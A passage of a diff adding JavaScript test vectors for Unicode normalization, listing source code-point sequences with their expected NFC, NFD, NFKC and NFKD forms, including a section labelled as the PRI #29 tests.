+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E017, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E017, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E017, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E017, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E017, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E018, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E018, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E018, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E018, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E018, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01D, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E01F, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E01F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E01F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E01F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E01F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E020, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E020, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E020, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E020, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E020, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E021, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E021, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E021, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E021, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E021, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E023, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E023, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E023, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E023, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E023, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E024, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E024, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E024, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E024, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E024, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E026, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E026, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E026, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E026, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E026, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E027, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E027, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E027, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E027, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E027, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E028, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E028, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E028, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E028, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E028, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E029, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E029, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E029, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E029, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E029, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E02A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E02A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E02A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E02A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E02A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D0, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D0, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D1, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D1, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D1, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D1, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D3, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D3, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D4, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D5, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D5, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1E8D6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1E8D6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1E8D6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1E8D6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E944, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E944, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E944, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E944, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E944, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E945, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E945, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E945, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E945, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E945, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E946, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E946, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E946, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E946, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E946, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E947, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E947, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E947, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E947, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E947, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E948, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E948, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E948, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E948, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E948, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1E949, 0x0062], NFC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1E949, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1E949, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1E949, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1E949, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x1E94A, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x1E94A, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x1E94A, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x1E94A, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1E94A, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x1E94A, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x1E94A, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x1E94A, 0x093C, 0x3099, 0x0062] }
+];
+/* Part3 # PRI #29 Test */
+var tests_part3 = [
+{ source: [0x09C7, 0x0334, 0x09BE], NFC: [0x09C7, 0x0334, 0x09BE], NFD: [0x09C7, 0x0334, 0x09BE], NFKC: [0x09C7, 0x0334, 0x09BE], NFKD: [0x09C7, 0x0334, 0x09BE] },
+{ source: [0x09C7, 0x0334, 0x09D7], NFC: [0x09C7, 0x0334, 0x09D7], NFD: [0x09C7, 0x0334, 0x09D7], NFKC: [0x09C7, 0x0334, 0x09D7], NFKD: [0x09C7, 0x0334, 0x09D7] },
+{ source: [0x0B47, 0x0334, 0x0B3E], NFC: [0x0B47, 0x0334, 0x0B3E], NFD: [0x0B47, 0x0334, 0x0B3E], NFKC: [0x0B47, 0x0334, 0x0B3E], NFKD: [0x0B47, 0x0334, 0x0B3E] },
+{ source: [0x0B47, 0x0334, 0x0B56], NFC: [0x0B47, 0x0334, 0x0B56], NFD: [0x0B47, 0x0334, 0x0B56], NFKC: [0x0B47, 0x0334, 0x0B56], NFKD: [0x0B47, 0x0334, 0x0B56] },
+{ source: [0x0B47, 0x0334, 0x0B57], NFC: [0x0B47, 0x0334, 0x0B57], NFD: [0x0B47, 0x0334, 0x0B57], NFKC: [0x0B47, 0x0334, 0x0B57], NFKD: [0x0B47, 0x0334, 0x0B57] },
+{ source: [0x0B92, 0x0334, 0x0BD7], NFC: [0x0B92, 0x0334, 0x0BD7], NFD: [0x0B92, 0x0334, 0x0BD7], NFKC: [0x0B92, 0x0334, 0x0BD7], NFKD: [0x0B92, 0x0334, 0x0BD7] },
+{ source: [0x0BC6, 0x0334, 0x0BBE], NFC: [0x0BC6, 0x0334, 0x0BBE], NFD: [0x0BC6, 0x0334, 0x0BBE], NFKC: [0x0BC6, 0x0334, 0x0BBE], NFKD: [0x0BC6, 0x0334, 0x0BBE] },
+{ source: [0x0BC6, 0x0334, 0x0BD7], NFC: [0x0BC6, 0x0334, 0x0BD7], NFD: [0x0BC6, 0x0334, 0x0BD7], NFKC: [0x0BC6, 0x0334, 0x0BD7], NFKD: [0x0BC6, 0x0334, 0x0BD7] },
+{ source: [0x0BC7, 0x0334, 0x0BBE], NFC: [0x0BC7, 0x0334, 0x0BBE], NFD: [0x0BC7, 0x0334, 0x0BBE], NFKC: [0x0BC7, 0x0334, 0x0BBE], NFKD: [0x0BC7, 0x0334, 0x0BBE] },
+{ source: [0x0CBF, 0x0334, 0x0CD5], NFC: [0x0CBF, 0x0334, 0x0CD5], NFD: [0x0CBF, 0x0334, 0x0CD5], NFKC: [0x0CBF, 0x0334, 0x0CD5], NFKD: [0x0CBF, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CC2], NFC: [0x0CC6, 0x0334, 0x0CC2], NFD: [0x0CC6, 0x0334, 0x0CC2], NFKC: [0x0CC6, 0x0334, 0x0CC2], NFKD: [0x0CC6, 0x0334, 0x0CC2] },
+{ source: [0x0CC6, 0x0334, 0x0CD5], NFC: [0x0CC6, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0334, 0x0CD5], NFKC: [0x0CC6, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0334, 0x0CD5] },
+{ source: [0x0CC6, 0x0334, 0x0CD6], NFC: [0x0CC6, 0x0334, 0x0CD6], NFD: [0x0CC6, 0x0334, 0x0CD6], NFKC: [0x0CC6, 0x0334, 0x0CD6], NFKD: [0x0CC6, 0x0334, 0x0CD6] },
+{ source: [0x0CCA, 0x0334, 0x0CD5], NFC: [0x0CCA, 0x0334, 0x0CD5], NFD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5], NFKC: [0x0CCA, 0x0334, 0x0CD5], NFKD: [0x0CC6, 0x0CC2, 0x0334, 0x0CD5] },
+{ source: [0x0D46, 0x0334, 0x0D3E], NFC: [0x0D46, 0x0334, 0x0D3E], NFD: [0x0D46, 0x0334, 0x0D3E], NFKC: [0x0D46, 0x0334, 0x0D3E], NFKD: [0x0D46, 0x0334, 0x0D3E] },
+{ source: [0x0D46, 0x0334, 0x0D57], NFC: [0x0D46, 0x0334, 0x0D57], NFD: [0x0D46, 0x0334, 0x0D57], NFKC: [0x0D46, 0x0334, 0x0D57], NFKD: [0x0D46, 0x0334, 0x0D57] },
